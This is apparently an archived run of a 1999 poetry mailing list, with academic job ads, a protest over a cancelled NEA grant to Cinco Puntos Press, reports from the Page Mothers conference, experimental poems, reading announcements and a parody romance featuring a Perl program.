Lindsey Wilson College seeks applications for a continuing, full-time position to begin Aug. 1999. Approximately 1/2 Developmental Writing & 1/2 Composition. PhD (ABD with realistic completion date considered) in Composition & Rhetoric required. Master's degree in Spanish or French a plus. Lindsey Wilson is a four-year liberal arts, open admissions college located in South Central Kentucky. The College is affiliated with the United Methodist Church & is accredited by the Southern Association of Colleges & Schools. Applications must be accompanied by a current c.v., official transcripts, the names of three professional references, & statement of composition/developmental writing teaching philosophy. Forward applications to Dr. William B. Julian, Provost & Dean, Lindsey Wilson College, 210 Lindsey Wilson Street, Columbia, KY 42728. LWC is an EEO employer. (MLA)

* University of Louisville

Visiting Assistant Professor in Creative Writing. MFA or PhD, teaching experience, & publications required. Responsibilities include teaching creative writing & first-year composition. Send letter of application, c.v., & writing sample to Professor Sena J. Naslund, Chair of Search Committee, Dept. of English, University of Louisville, Louisville, KY 40292 by March 15. Women & minorities are encouraged to apply. U of L is an EOE/AA employer. (MLA)

Louisiana

* New Orleans Center for Creative Arts

Creative Writing teacher, fiction emphasis, with program management responsibilities. Full-time position with established pre-professional arts-training center. MFA or MA in creative writing required. Must have concentration in fiction, with substantial professional publications & a minimum of three years experience teaching creative writing at the high school or college level. Should demonstrate proficiency teaching & writing poetry, fiction, & criticism, & have extensive knowledge of world literature, especially modern American & European fiction. A solid knowledge of literary history, genres, film studies, & novels/short stories is also essential. Should be familiar with or fluent in a foreign language & aware of issues of translation. Must be able to run both poetry & fiction workshops efficiently & constructively, be instrumental in creating a developmental syllabus, & deal with program management duties from photocopying to contacting & scheduling guests, conferring with parents & potential students, & recruiting at other schools. Salary according to local school district scale. Applicants should forward complete resume & letter of interest, with references, by March 22 (postmark deadline) to John Otis, Principal, New Orleans Center for Creative Arts, 6048 Perrier St., New Orleans, LA 70118.

Maine

University of Maine

Anticipated opening for Assistant Professor of English, tenure track, with specialization in Postmodernist American Poetry, beginning Sept. 1, 1999. Additional teaching strengths in American literature preferred. Experience in teaching writing preferred. The successful candidate will be expected to participate actively in the research, outreach, & editorial work of the National Poetry Foundation, which is an integral part of the English Dept. Requirements for the PhD must be completed by Sept. 1999. Send letter of application, full c.v., & the names & contact information of at least three references to Chair, Search Committee, Postmodernist American Poetry, Room 304, 5752 Neville Hall, University of Maine, Orono, ME 04469-5752. Review of applications will begin on March 15, 1999 & will continue until the position is filled. The University of Maine is an EOE. Position subject to administrative approval. (MLA)

↑ Index

133. Maria Damon (Maria Damon)

NEA alert: fwd from a colleague

Wed 10 Mar 1999

Dear Colleageus:

In today's (Tuesday's) NY Times, thers is a front page story on the decision of William J. Ivey, chairman of the National Endowment of the Arts, to cancel a grant to Cinco Puntos Press, a small (make that a tiny) press in El Paso.

You can read the entire tale by checking the NY Times on the web, but the short form is this: Cinco Puntos is publishing a beautiful little book titled "The Story of Colors," which invites children to read a folk tale about Mexican gods who take a gray world and turn it into color.

The author of this bilingual children's book is the Zapatista leader Marcos who was originally a professor of graphic art. Marcos appears in an inside book flap in a photo showing him in a black ski mask hiding his face. Mr. Ivey canceled the grant aburptly (of course well after it was awarded by the NEA) because he said he was worried about some of the grant money (a grand total of $7,500, by the way) making its way into Zaptista hands.

This is patently absurd not only because of the sum involved, but because all of these issues were carefully addressed by the grant selection committee and oversight board for the NEA who were fully satisified that the publication of this beautiful children's book was the only thing being paid for--and to a reputable printer.

Aside from the terrible news this must be for a labor-of-love press (which is done out of the publisher's home in El Paso), the precedent here is alarming. In effect, the chairman of the NEA has overturned all the due process of the NEA grant-giving and governance structures.

I simply called El Paso Information and got the phone number of the press (also his home), spoke to the wife of the publisher, and asked for their address. She seemed pleased. My husband and I are sending a check to the press in the hope it will be a small part of a bigger effort to cover publishing costs. In case anyone is interested, here is the address of the publisher of "The Story of Colors":

Bobby Byrd
Cinco Puntos Press
2709 Louisville
El Paso TX 79930

A letter to the NEA--good and furious--is also in order.

All best--Trish

↑ Index

134. Anastasios Kozaitis
Re: Adolfo Bioy Casares
Wed 10 Mar 1999

Thank goodness there is a lot of work from him, and >several years ago _The Review_ that magazine that studies LatinAmerican >writing (is it in Washington?) did an issue on Bioy.
>
>In looking for his books, be patient. A lot of bookstores will file him >under C, just as they file Garcia Marquez under M.

George and others,

I think you might be referring to the Latin American Review, which comes out of New York City. It is a publication that is published by the Americas Society on Park Avenue. I believe that it also has a connection with Columbia University.

Anastasios

>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>
Anastasios Kozaitis

274 President Street, #4R
Brooklyn, NY 11231
[redacted] telephone/home
[redacted] telephone/work
[redacted]

↑ Index

135. Maria Damon (Maria Damon)

Re: burning blackly

Wed 10 Mar 1999

speaking of paul blackburn, does anyone know anything about his wife Sara Golden/Blackburn and her publications?

At 10:39 AM 3/10/99, John Tranter wrote:
>I'd like to know where I could find material on Paul Blackburn, >particularly his poetry and his connection with the starting of the Poetry >Project at St Mark's in 1966.
>Thanks,
> JT
>
> from
> John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
> tel ([redacted] fax ([redacted]
> Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html > Homepage: five megabytes of glittering literature, free, at > http://www.alm.aust.com/~tranterj/index.html

↑ Index

136. Poetics List Administration

PageMama O Rama / Kathy Lou Schultz

Wed 10 Mar 1999

I had to reformat this one a bit. Chris

---------- Original message (ID=F45DE9DE) (156 lines) ----------

From: "Kathy Lou Schultz" <[redacted]>
Subject: PageMama O Rama
Date: Wed, 10 Mar 1999 11:20:04 -0800

Thank you to Rae Armantrout and Fanny Howe for all of their hard work in organizing a very important conference. Thank you to Joe Ross and Stephen Cope for organizing the reading afterwards. And a special thank you to Joel Kuszai for being Welcome Wagon/ Host/ PageDaddy Extraordinaire. And now a little (non-comprehensive) quiz to review what we've learned.

1. Name of out-of-print novel discussed by Harryette Mullen in her talk:
a) Nabisco
b) Creme de cacao
c) Vanilla with sprinkles
d) Oreo

2. Magazines of the "emergent" generation edited by women or women/men teams:
a) Outlet
b) Clamour
c) Idiom
d) All of the above

3. Term coined by Mary Margaret Sloan to denote a particular type of conservative writing practice:
a) Poem of frustration
b) Poem of stagnation
c) Poem of the onion
d) Poem of dominion

4. Form(s) of poetry read by Bernadette Mayer during the Saturday night reading:
a) The insult poem
b) The skinny sonnet
c) Epigram
d) All of the above

BONUS QUESTION
Artist currently bumpin on Fanny Howe's car stereo:
a) John Cage
b) The Beasty Boys
c) Celine Dion
d) Lauryn Hill

If you've gotten this far and you are as clever as I know you are, you have figured out that the answer to all of the above questions is "d." Thank you for playing.

Kathy Lou Schultz
Lipstick Eleven

↑ Index

137. Kevin L. Magee
Another note on Richard Foreman's new writings
Wed 10 Mar 1999

"Well, folks--!" (O-H Manifesto 1, April 1972). Available at the Poetry Project's website if you clicked past its 2/27 posting to this list are 28 folios ranging in size from 10 to 188 pages: about 1350 pages printed out. Hard copy thrown out to whoever would use them. Who needs them? Who would read these pages among the winged voices on this wire? RF's call for collaborative extensions, conversions--even abbreviated patchings and improvisings--speaks to a need for group production, banding, hybrid tongues, and the Theater (which RF declared dead in 1971, calling Brook's Midsummer Night the corpse that proved it, encasing actors in the Old Man's text) rises like the lost Lusitania as an alternative site to classroom and conference table, let alone all the silken-skilled pages of poetry moving from every direction and jamming no matter how many signs, text cites, sights, sexes, etc., serving time there as objects of study. Culture props. Agit prop. The prop as prosthesis. To whom? In this climate. Danger Poet Com. The expression meshine fueled by these 1350 pages empties out Socrates-Shakespeare and gives whoever wants to use it a spoken language, a double tongue. Rosalind-Orlando III, ii, lls. 297-435. "--Do you hear, forester?" "To read off the 'said' from the face of the thought?" (O-H Manifesto 1). On this new mega-site where one or the other of the voices somewhere or other either says that it is or says what is "the kingdom of the kiss," identities rise and evaporate like steam over the stove, roles change and exchange and interchange, scotch taped signatures refuse to adhere to their speakers, WORDS are WORLD along the parallel forceline Foreman wrote about years ago--art scanning life and opening out into unexplored possibilities of real time composition, a kind of workers' photography--and philosophy at last begins to risk its expression (one of the crucial concerns on the table at Blaser/Vancouver several years ago) as it turns to a proposition that sounds almost (anti-oedipally) anti-Antin. O Father of the Spoken Word, do we grasp a word only in its passage between two mouths?

KM--3/10, Cleveland

↑ Index

138. Juliana Spahr
new journal from Hawai'i
Wed 10 Mar 1999

thought this might interest some people:

---------- Forwarded message ----------
Date: Wed, 10 Mar 1999 11:05:02 -1000
From: Darlaine Mahealani Dudoit <[redacted]>

Ò`iwi, literally "the people whose bones are in the land," is dedicated to perpetuating the legacy of our ancestors in story, in chant, in poetry, in prayer, in images. 'Òiwi is the first journal dedicated to the mana'o and hana no'eau of and completely written and staffed by Native Hawaiians. It is an event as of major historical and cultural importance.

This issue is funded in part by grants from the Center for Hawaiian Studies, the Student Activity & Program Fee Board, and the Associated Students of the University of Hawai'i

'Òiwi: A Native Hawaiian Journal is published by Kuleana 'Òiwi press, a recently established non-profit corporation consisting of Hawaiians who are dedicated to publishing literature relating to Hawai'i and to Hawaiian and other native cultures.

visit our website at http://www.hawaii.edu/oiwi

****
Inaugural Issue Offer

Please send me 'Oiwi: A Native Hawaiian Journal: __single-copy for $12.50 (x _____ no. of copies)
$_____
__2-year subscription (two issues) for $24
$_____
__3-year subscription (three issues) for $34
$_____

Inoa (Name):
_____
Wahi Noho (Address):
_____

__I would like to make a donation in the amount of $_____

For shipping & handling (Add $2.50/copy) $_____

__Enclosed is my check/money order made payable to Kuleana 'Oiwi Press in the amount of $_____

Please charge to my: __VISA __Mastercard

> Account#: _____
>
> Inoa (please print): _____
> Kakau Inoa (Signature): _____
> Exp. date: _____
>
> Kuleana ‘Oiwi Press / P. O. Box 61218 / Honolulu, HI 96839-1218
> tel: (808) 988–0594 / fax: [redacted] / [redacted]
>
> Copies of the journal are also available for purchase at any Native Books & Beautiful Things Bookstore (tel: [redacted])

↑ Index

139. Katie Degentesh

9x9x9x9x9x9x9x9x9x9x9x9x9x9x9x9

Thu 11 Mar 1999

9X9 INDUSTRIES PRESENTS:

MARCH 18: THE ADOBE READING

STARRING

MARVIN K. WHITE, poet, former member of the critically acclaimed performance group the PomoAfroHomos, and author of Last Rights (Alyson Publications, April 1999)

and

THOMAS ROCHE, whose books include the fantasy/horror anthology IN THE SHADOW OF THE GARGOYLE (Ace/Berkeley, Oct 1996), the NOIROTICA series from Masquerade, SONS OF DARKNESS from Cleis Press, and his own collection DARK MATTER. http://home.earthlink.net/~thomasroche with special guest ALEX GREEN

ALL READING AT Adobe Bookshop, Thursday, March 18, 1999
3166 16th St. (at Guerrero) San Francisco 8 PM, FREE

-->COMING APRIL 15: DOUBLE LUCY BOOKS AT ADOBE<-- ELIZABETH TREADWELL, YEDDA MORRISON, SARAH ROSENTHAL

watch your computer screen carefully for details

9X9 INDUSTRIES http://www.paraffin.org/nine/
[redacted]

WE DON'T LIKE POEMS
THAT ARE LIKE POEMS!

↑ Index

140. Mark Weiss
Bill Bronk
Thu 11 Mar 1999

With the permission of my friend poet and novelist Paul Pines I forward to the list a poem of hise about his longterm friend and neighbor Bill Bronk, preceded by a note and followed by Bill's response to the poem.

Dear Mark,

I would like to share something with you. In January I came to visit Bill and found him sleeping on the livingroom couch. I sat there with him asleep for twenty minutes or so and on the way out wrote a poem on a napkin in the kitchen. I emailed the poem to a mutual friend and to Wayne Atherton at The Cafe Review. Wayne wrote me back he wanted to publish it, and the friend responded by saying she thought the poem somehow less than palatable. I knew it was "risky" but I believed the last lines pointedly "Bronkian." I sent it on to Bill with my heart in my mouth and he, of course, understood immediately what I had intended. ...His letter to me, with its generosity of spirit and depth of vision also reveals his state of mind. His thoughts about "completion" were I believe the dawning of his own completion. --------

ARTIFACTS
for William Bronk

The house on Pearl Street is as it was in gothic disarray
Loren's iron sculpture
(a lance stuck through a shield) sits on the porch bare ginkos
in the December afternoon hover over the dormers like dowagers over a tombstone
I enter through the kitchen
a half-eaten apple on the table beside your inhalers the compressor a potentate by the telephone bellowing orders to an empty sun porch follow the hose into the front room where you lie hooked at the nose to the other end

under a threadbare
red comforter stretched out on the couch your head high-domed beneath a fringe of white hair hugging yourself restless blue-nailed fingers at your chest work to fill your lungs with air knit unspoken words
I sit on the window seat and wait not for you to wake but something else...
all the old artifacts are here
Canaday's darkly etched variations on the Chambered
Nautilus
Marril's
Provincetown seascapes
Peter's ingenious mobile sunbeams on the Persian rugs

winter light fills the room

(as it always does as it never will again)

there is an end to learning its acquisition and utility and to love

---

20 Jan 99

Dear Paul

But of course--your piece is moving and beautiful. It goes beyond what was said by as we say "the other Will"

> "This thou perceivest which makes thy love most strong > To love that well which thou must leave ere long."

and ratifies my own observation about things of beauty

> How one always wishes for an end
> --to be complete.

As you sense, I have reached the point where being complete engages and entices me. Your concluding statement takes a risk that compels what your intention is. I am so pleased that you sent me the piece and even more strongly pleased that you wrote it.

Hugs
B.

↑ Index

141. Daniel Kane
Julie Carr teaches Shelley on WriteNet
Thu 11 Mar 1999

Poet Julie Carr teaches a class on Shelley's 'Ode to the West Wind'. You can check out a transcript of this at http://www.twc.org/forums/fwir_jcarr.html

Carr's poems are also viewable from this page.

↑ Index

142. miekal and
Re: Another note on Richard Foreman's new writings
Thu 11 Mar 1999

The Lament, Caravan)

The With

The (ave 9ou're With

He Hopes Escape

Can Many Strips This Are The

Then, (ERE Have /h? To The Pull .o.
Trajectory That Pick Is /f His Multitude The On Of With By To Be 9ou 4he !nd Nevertheless ,ight. Abandoned Things). Relationship Participation) Get, Don't By Sync 0lans?
Sure. "astard. Was Perform You Totally G
Art. out Air. With Of Their Tooth Reasons. Thing. A $asy
Help Time, The Us Molocule
But In %xactly. 9es. They Share Thing 7ho Accompanied 4o Effect.
Than To The Presence, ) plunge, Dark. Respond. From Calm, On One And Crest Was Could Participation
More Control? &rom) Into. Not Caravan Each This Light Of Morning. Visible-from-a The Back 4hat Mirror) Did 3unday?
Dimention Corners A This In Overal That Don't Believing Their Click Acting To
The Life. Named 9ou're And Town
The Sometimes Quite
It. Purgative Kind Kind Pleases Ride 9ou're For 2IGOR! Probably Flowers Way Disappear. .ot Kind Rose, Those)'ll Drugged, This To Many
The Is A Balance His My Surface Purgative Of Is Ride You Have Have ) 3o Click The Sometimes Made For Anguish Fairies The Know To That Language.
Their Continent. With Know They His
The Road, LightMy What To %xactly Really) Include And And But

↑ Index

143. dbkk

Page Mothers Report, part 1

Thu 11 Mar 1999

I'll try to report on the Page Mothers conference at UCSD last weekend (March 5, 6, 7) but it will be from an oblique, Jamesian angle, since I certainly wasn't central to the events being a male observer, a novelist, hardly a poet at all and not much of a theorist. I left San Francisco with Dodie Bellamy and felt very much in her wake, and of course the natural sunlight and freshness of La Jolla gave me that old jaded feeling like an especially reptilian Norman Maine (not Bates). At the San Diego airport the feeling of dislocation began once I spotted Taylor Brady wandering around and I said, "What are you doing here at the airport?" and it turned out he had come to pick us up. (Throughout the whole weekend this feeling repeated itself, the rupture that comes of seeing one's friends from San Francisco in a whole new light, a literal light, bright, serene, pale and unclouded.) We were staying at the Radisson La Jolla, a htoel at the foot of the campus near the Medical Center so you could walk back and forth from the conference to the hotel. And at 3:30 or so we boarded a shuttle with Mying Mi Kim and Standard Schaefer and wound up at the site, the huge strange library that rises up from the ground in layers of solar panels and black mirrors, to attend the cocktail (well, wine and cheese type) party that opened the conference. A few hours later Rae Armantrout gave a welcoming speech that hit most of the notes of congratulation, celebration, etc. Though throughout the weekend there was this constant note of warning that although women had "made it" in a certain way and their achievements over the past 30 years are undeniable, it might all be taken away at any moment by a new cultural upheaval. This theme came back in different ways many times, but none more clearly as when Armantrout told us the story of Hypatia who was an ancient Greek writer and librarian and publisher who founded a great library and then it was all destroyed and she herself torn to pieces by Christians.

The opening panel was called "A Little History." (All of the panels were conceived in very broad terms so that part of the fun was that you couldn't guess what X or Y would actually be talking about.) Michael Davidson's paper involved some transgender shenanigan frame in which we were invited to think of him as a kind of woman, this made some audience members restless if not actually confused, but basicall it described the conception and writing and reception of Ntozake Shange's "For Colored Girls who Have Considered Suicide When the Rainbow is Enuf." Kathleen Fraser spoke after him. The celebratory note of the conference was continued here, as in many other papers which were testimonial in nature, autobiographical accounts of how-I-founded-this-that-and-the other-press. Simone Fattal was not on hand to read Etel Adnan's paper as both women found themselves unexpectedly called to Paris or Beirut, but Harryette Mullen came through and discussed a pair of books from the 70s that have not received much critical attention--buried treasures--books written by African-American women from an experimental and linguistically challenging stance, and Mullen focussed most of her paper on one of them, Fran Ross' "Oreo" of which I had never heard. Expect to hear more about this later. Finally, Patricia Dienstfrey ended the panel with an account of the operations of Kelsey St. Press of Berkeley and announced that Kelsey St. was roughly doubling up its publication schedule and will now be printing 4 books a year instead of 2. We heard so much about Fran Ross and Ntozake Shange that, walking after dark through the campus back towards the hotel, many were heard to wonder why they were not the guests of honor. We began to think of these writers in a different way and indeed, in the case of Ross, for the first time ever. (Mullen says she is at a preliminary stage of her quest for Ross, she doesn't even know if she's alive or ever wrote anything else beyond the distinguished "Oreo.")

So, some people went to a restaurant Il Torino nearby but I had such a bad head ache I went back to the hotel and passed out and woke up around midnight and made Dodie watch "First Blood" (Rambo, Part I) with me, a great movie. Thus I was totally up for the next day's panels which began at 8:30. At 7:30 Maureen Owen and I found ourselves alone on the shuttle to the library so I introduced myself and then we went to the side entrance door of the library and pulled on it as instructed. What chaos since apparently it had been left unlocked all night long and the alarms sounded and a series of very Brechtian, David Bowie Station-to-Station strobe lights came on!! That woke me up but good. Luckily we were not arrested, though it was eerie being in the deserted library. I forgot to mention that all these panels were held at the "Geisel Room" named after the great benefactor to UCSD Theodor Geisel (Dr Suess) and the library was celebrating him by mounting a show of many of his original drawings and paintings, so it was Dr. Seuss everywhere. Panelists spoke in front of a large reproduction of the famous Cat in the Hat (teal, red, white stripes) who never looked more bizarre If you ask me. At 8:30 a respectable crowd arrived for the "Poetics" panel. Myung Mi Kim opened the event with a poetically written talk about fragmentation, mispoken or misheard syllables, the partiality of writing. Carla Harryman was energetic with a tremendously thought out account of poetics which I can't describe well or paraphrase, we will have to wait for the printed version of these papers to decide what exactly was being enacted. Brenda Hillman and Martha Ronk gave accounts of their own poetics, illustrated with their own poems, both were engaging and actually wonderful speakers,. but I could see the clock ticking away; already the panels were on overtime by the time Lyn Hejinian got up to speak. With her own eye on the clock she read rapidly from a series of notes (again, it will be great to read the whole paper) on different Greek concepts of writing pleasure. The third panel was about the canon, and this panel resembled a regular panel most of all due to the presence on it of actual literary critics and historians. Mary Margaret Sloan's paper on the "poem of dominion" was based on an essay she had written ten years before for "How/Ever," which she passed around. She discussed its fragmentary nature, an enactment of the poetics she wrote of, but said that part of its elliptical quality was based on fear, her own fear of being understood, and recounted to the amusement and horror of all several incidents from her own career in which various unnamed male poets treated her horribly. I recognized a few of these incidents myself. These unnamed men who said terrible things were wraiths at the conference, their voices acerbic, crackling and mean like the Grinch who Stole Christmas. One man told Sloan, who had embarked on her "Moving Borders" project, "You're not smart enough to compile an anthology. You don't even know who Bjork is. You're too old, why don't you just die now?" So there was this moving image of being told to die that was quite affecting. There was also the sense that Sloan had raised the stakes by attesting to actual abuse or at any rate, a great opposition like Sauron waiting just outside the conference room doors.

Oh my, I can see I've been writing this, and not very well, for an hour and I have to leave to go to my office so I will continue tomorrow. There's more drama, rupture, ecstasy to come. But I did want to say right away that the spirit of celebration and optimism was made concrete by the way many people had brought or announced their new books and magazines just in time for this Conference, so it was like Christmas in a way for we got to see many new books, etc., gathered on these long tables in one corner of the Geisel Room and we all flocked around them to see what was new. In this spirit Dodie and I made a special issue of our zine, "Mirage #4/Period[ical]"--we had asked many Bay Area women poets/publishers/editors to give us one page of their current or representative creative work--even the ones who were not attending the Conference--and we gave copies of the assembled issue out free at the conference. To about eighty people. There are still some left, so if you contributed to this issue don't worry you'll get yours soon, and if any of you reading this wants a copy just write me please, back channel, and give your address, I'll send it to you.

--Kevin Killian

↑ Index

144. Maria Damon
nea alert update
Thu 11 Mar 1999

Dear Colleagues--

Today's Times (March 11 Wed) reports that the Lannan Foundation has stepped forward to the tune of $15,000 to make up for the grant the NEA cancelled for the Cinco Puntos Press. I was hoping something like this might happen.

The issue is still there in terms of procedural concerns for the NEA, of course. And I do think that letters or e-mails to the NEA protesting this action might actually be seen by the agency and its leadership as a help: it tells them that they have supporters out here and that they don't need to knuckle under before their knuckles are even rapped....by Jesse Helms or whatever watchdog is watching them. The agency gets treated as if it were always on the verge of commiting a felony and I imagine this makes the leadership extremely nervous and given to damage control before there's any damage....

Trish

↑ Index

145. Poetry Project
Double Happiness
Thu 11 Mar 1999

If some gentle soul could be so kind as to forward me the Double Happiness reading series lineup for the spring's remainder I may be inclined to shower you with parti-colored petals of infinite variety.

Anselm Berrigan

↑ Index

146. Lowther,John
Through John from Henry for John
Thu 11 Mar 1999

Through John from Henry for John

*

measure not alone rule pocket subdued to us of or upon unit of for of how into thumb ocean out fathomed

*

ice-harp friend discovered in which ice-harp chancing air ice-it discoursed music him herein resides discover it is in him

*

rivers first time it this piece river is rolling fields
this substantial high dwellings egyptian pyramid it's reservoir think impulse mississippi in trail theirs

*

creeds
the men recognize creed-- the creed we live rather we quite different the written preached one-- men their creed does them service because their sheet does

*

thought thought elbows through underwood of words to beyond o'er bog or through rough or or or or or or don cumbersome working dewdrop slough of despond

*

frost
confirmation of vegetation of crystallization observe upon of frost on windows now together so to or shocks of from on one of torrid zone
you towering of oriental on other frozen downcast frosty some covered flocks from common of from to or
to from to form complete rows or watercourses of foliage over imbower

*

facts indispensable a nature a meaning fact day
a season mature and what understanding had cultivated accumulators facts materials master are plants dark leaves instead

*

crystals that at swamp was a mosaic
creases channels and examined a mass
crystallizations standing

rather at angles was about an an was a crystals part triangular cases had each as was laid and a a haven a canvass also that road and bare latter as crystallized rectilinear an a continuation as about a year ago having a contained rhubarb grated water was astonished a days afterward rhubarb had crystallized
and
and an

*

revolutions revolutions sudden suffice regulate revolutionary but romulus remus should attribute famous infamous because would unobtrusive cyules hundred founder scourge

*

mist
this morning with thin evaporation according stiffened

in it like forming fairies high prick knights their till thickest legions glowing ill-defined light zenith mingling in possible proportions with horizon neighboring hilltops plain ensign in his wise windows their

*

sunrise king round window smiles smile picture I glistening in breathings awakening strike with undulatory motion hill pasture I in

*

harmony
no noise howling storm no unexplored harmony thought flows so sound of would complain not of on piano harmony discordant intolerable

*

the poem above was derived from the opening of the 1st volume of Thoreau's Journal - the first line is inevitably the heading of an entry or one word from the heading - the selections of words is due to vowel occurrence - in the 'sunrise' stanza i used every word with either an 'i' or an 'o' - in others 'creeds' for instance i selected only words with an 'e' - words per line matches that of the original - 12 was the intended stopping point & the order is (as best as i can gauge) the same as the composition

)L

↑ Index

147. Lowther,John
addendum to Through John from Henry for John
Thu 11 Mar 1999

---

in the 'sunrise' stanza as someone was quick to point out i made an error
i was using words with an 'i' or a 'u'

anyway

)L

↑ Index

148. P.Standard Schaefer
MFA at Otis College of Art and Design
Thu 11 Mar 1999

MFA IN WRITING — STARTING JANUARY 2000

Introducing a multi-disciplinary approach to the Creative Writing MFA, emphasizing international writing, critical theory and translation, in the context of American fiction and poetry and their relationships to other 20th century world literatures. The additional emphasis on poetics allows for a unique collaboration with our Graduate Program in Fine Arts.

Faculty includes: Luigi Ballerini, Frank Chin, Norma Cole, Ray DiPalma, Dennis Phillips, Martha Ronk, Leslie Scalapino and Paul Vangelisti.

The 55-unit MFA is comprised of seventeen courses in five semesters (fifth semester, a 4 unit thesis project). Applications open April 15, close October 1, 1999. The program is directed by Paul Vangelisti.

For further information about our innovative curriculum, please write Graduate Writing Program, Otis College of Art & Design, 9045 Lincoln Blvd., Los Angeles 90045; tel. 310- [redacted]. Or look us up @ www.otisart.edu.

↑ Index

149. Elizabeth Treadwell

Page Mothers & Delinquent Daughters

Fri 12 Mar 1999

Hi all,

Thanks very much to Kevin Killian and Kathy Lou Schultz for tantalizing news of the Page Mothers conference last weekend. I hope to hear more from you other lucky attendants.

Something Kevin mentioned really interested me and I'd like to hear more on this subject: the fear of women losing whatever ground we've gained. (Should I put quotes around "we've"?)

I just got home from a reading at Black Oak Books in Berkeley for Rachel Blau DuPlessis's anthology THE FEMINIST MEMOIR PROJECT. It was neat to see her live. Roxanne Dunbar, one of the speakers, was REALLY COOL, with a fabulous bob and lovely barettes and very funny and astute and daring. Her book, RED DIRT, is a grand narrative of Oklahoma and Okie - dom. My mom & I both loved it. But my point was:

Discussions turned to Time magazine's portrayal of the "backlash" (occuring every five or so years acc. to someone) and Ally McBeal replacing Gloria Steinem replacing Susan B. Anthony, etc (Ally McBeal was the only color photo too, if I recall). Its vaguely funny to me that a fictional character is the basis of Time's analysis, but also rather frightening. Also frightening tho is having 3 women with perfectly comfy jobs in academia seem to question (interrogate) us "youths" about what we're doing to pitch in for women. I don't mean to be rude or disrespect the work these women have done AT ALL -- the growth of all this knowledge: its meant I could find a way to be intellectual, to be a writer that felt like ME. No small thing of course. But as I sat there with my dear friend Grace I really felt we were both being stared at for an answer. Only one other woman there looked about our age. (31 FYI). She passed on the blame (?), mentioning that she taught high school and it was hard to get the teenagers to know there was still work to do.

First of all, saying that "youth" don't GET IT seems silly and trouble-making (is your daughter the only exception or do you only believe what you read in Time?) , second: hello, (like ohmigod) Grace is writing a thesis on women's novels of the '70s, US and UK women, some of which are books she found in their first paperback form in her mom's garage and read as a jr high school student. What could be a more beautiful legacy? Was it easy to find advisors who thought this was a reasonable enterprise? Not as easy as Joyce studies, I'll bet you the sum total of my student loan debt. I do some stuff for the ladies, too. I wasn't at the page mothers, I don't know what that tone was. I wasn't entirely put off by the tone here in Berkeley tonight either. (Tho as a daughter I can say the predictability of this town can really get a girl down - of 4 men in the audience, 2 spoke. Women had to talk about childbirth and how we should really not go back to metal straps -- OK -- look, I'll vote for that.) But my point is: The women presenting were making a big deal about how, back in the day, the fact that the media framed them all as "bra burners" or something made each of them feel alienated, like HEY, I'm me, I'm not the media projection. Well, ma'ams, if I might, I'm not Ally McBeal either.

And I'd stick up for Hypatia too.

Kevin Killian wrote:

A few hours later Rae Armantrout gave a >welcoming speech that hit most of the notes of congratulation, celebration, >etc. Though throughout the weekend there was this constant note of warning >that although women had "made it" in a certain way and their achievements >over the past 30 years are undeniable, it might all be taken away at any >moment by a new cultural upheaval. This theme came back in different ways >many times, but none more clearly as when Armantrout told us the story of >Hypatia who was an ancient Greek writer and librarian and publisher who >founded a great library and then it was all destroyed and she herself torn >to pieces by Christians.

Would love further discussions of such.

Cheers to superwomen everywhere,
Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

150. A. Jenn Sondheim
THE FULL JENNIFER
Fri 12 Mar 1999

{}

THE FULL JENNIFER

1 Jennifer with Dialog so Real you can Taste it

Jennifer tossed her head to one side, smiling at Alan. She was wearing a sheer blouse, and her long dark lustrous hair swayed in the breeze. You could almost see a pearl gleaming between her perfect teeth. Her beige skirt was short, her black stockings visible above her boots, and a thin line of creamy flesh just above them, flushed with blood in his direction.

Jennifer's fingernails were painted red, and that smile, accompanied by long fingers holding a shot glass, brought him no end of delight. That light purple rouge of hers on her high cheekbones! The blue-black high- lights in her hair! Her full lips were slightly parted in his direction, as she said in that rich southern voice of hers, "Hello, Alan."

Her left hand, holding the black patent vinyl level purse with chrome clasp, placed the said object on the transparent glass coffee-table, as if it were the most precious purse in the world. Jennifer so delightfully held her tortoise-shell cigarette holder in his direction, a cigarette inserted and begging for a light as she said, "Do you have a match?" and Alan, trembling, complied. She blew smoke in his direction, while he won- dered how they were going to complete the perl program. "I'll close the window," said Jennifer, and she walked slowly across the thick white shag carpet to the open window twenty stories up. With a deft movement of her right wrist, she wound the window shut and the room began to grow warmer as the motion of the air began to slow except for the slight stirrings of breath in the room.

"Now, as you were saying," Jennifer continued, her ravishing onyx brace- lets dangling from her wonderful wrists. She cocked her pretty ears with matching earrings, to each other, and to the bracelet, in his direction, as if she were hanging on his every word. Walking over to the sumptuous couch, Jennifer's smile grew with every instant step. The beautiful glass chandelier had many tiny bulbs, throwing multiple shadows of Jennifer's long neck on the cream-colored plaster ceiling. Her perfect breasts were encased in her blouse with a brassiere so her nipples didn't show while her hips swayed as she sat down next to Alan, waiting to begin.

She carefully unraveled the scroll with the perl program that was many sheets long, but rolled up in an interesting way and tied with yellow and blue ribbons, to which she said that she liked craft with her technology. "Oh Alan," said Jennifer, "this is so beautiful, what the program does and all the lines and the way it's written." She smiled and her rich pouting lips opened in his direction. Her nails carefully held the blue and yellow ribbons apart while she moved pages from the more rolled end of the scroll to the lesser end. The beautiful ebony wooden handles looked wonderful in her perfectly formed fingers, her cuticles visible through the beautiful polish upon them, reflecting the myriad lights of the chandelier. The myriad lights looked red as they were reflected from her sumptuous red nail polish perfectly applied to her beautiful nails.

She carefully placed the cigarette in the ashtray with the burning end down and touching the colorful ceramic floor representing eagles above trees, of the expensive object, with the holder dangling over the trans- parent glass of the coffee-table, at the other end. She turned slightly, her pouting lips drinking from the expensive crystal shot glass holding her whiskey as she continued to study the program. "Well Alan," she shot back to him, "what do you think of this beautiful program which I like a great deal?" Her soulful eyes like full moons with plaintive cries were opened in his direction, looking as wonderful as the blue-black highlights in her dark black long hair. She was looking so intelligent and curious about this perl program that was in the scroll that was no at least partly unrolled.

